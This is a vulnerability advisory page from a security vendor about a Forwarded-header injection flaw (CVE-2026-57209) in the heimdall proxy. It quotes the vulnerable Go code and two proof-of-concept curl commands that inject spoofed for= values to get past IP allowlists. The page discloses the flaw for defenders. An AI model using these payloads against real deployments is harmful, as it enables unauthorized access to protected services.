Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-57209 — heimdall

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-20 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode

Summary

When Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services.

Vulnerable Code

File: proxy/request_context.go (line 201)

```go

entry := "for=" + clientIP + ";host=" + in.Host + ";proto=" + proto

```

Go's net/http allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.

PoC

```bash

# Inject a spoofed IP into the Forwarded header

curl -s -H "Host: evil.com,for=127.0.0.1" \

"http://TARGET:PORT/protected-resource"

```

This produces the following Forwarded header sent to the upstream service:

```

Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http

```

Upstream services that parse the Forwarded header according to RFC 7239 will see two entries. If the service trusts the last or any for= value, the attacker successfully spoofs 127.0.0.1 as the client IP.

```bash

# More targeted attack: spoof to bypass IP allowlist

curl -s -H "Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1" \

"http://TARGET:PORT/admin-panel"

```

Impact

  • IP spoofing: Upstream services behind Heimdall may trust the injected for= value, believing the request originates from an internal/trusted IP
  • Access control bypass: Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed
  • Affects all proxy-mode deployments where upstream services parse the Forwarded header.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: Present — the target has to be in a particular state for the attack to work.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-57209 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.

Affected software

CVE-2026-57209 is recorded against 1 package.

  • github.com/dadrus/heimdall

Timeline and source

Published on 25 June 2026 and last revised on 20 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Advisory)

Other advisories for this package

github.com/dadrus/heimdall has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
CWE CWE-20
Public Exploit ✅ No
Source OSV
Published 2026-06-25
Updated 2026-08-20
Modified 2026-07-20
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/dadrus/heimdall — —

Similar Threats

Site Security Check

Is heimdall part of your stack?

CVE-2026-57209 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓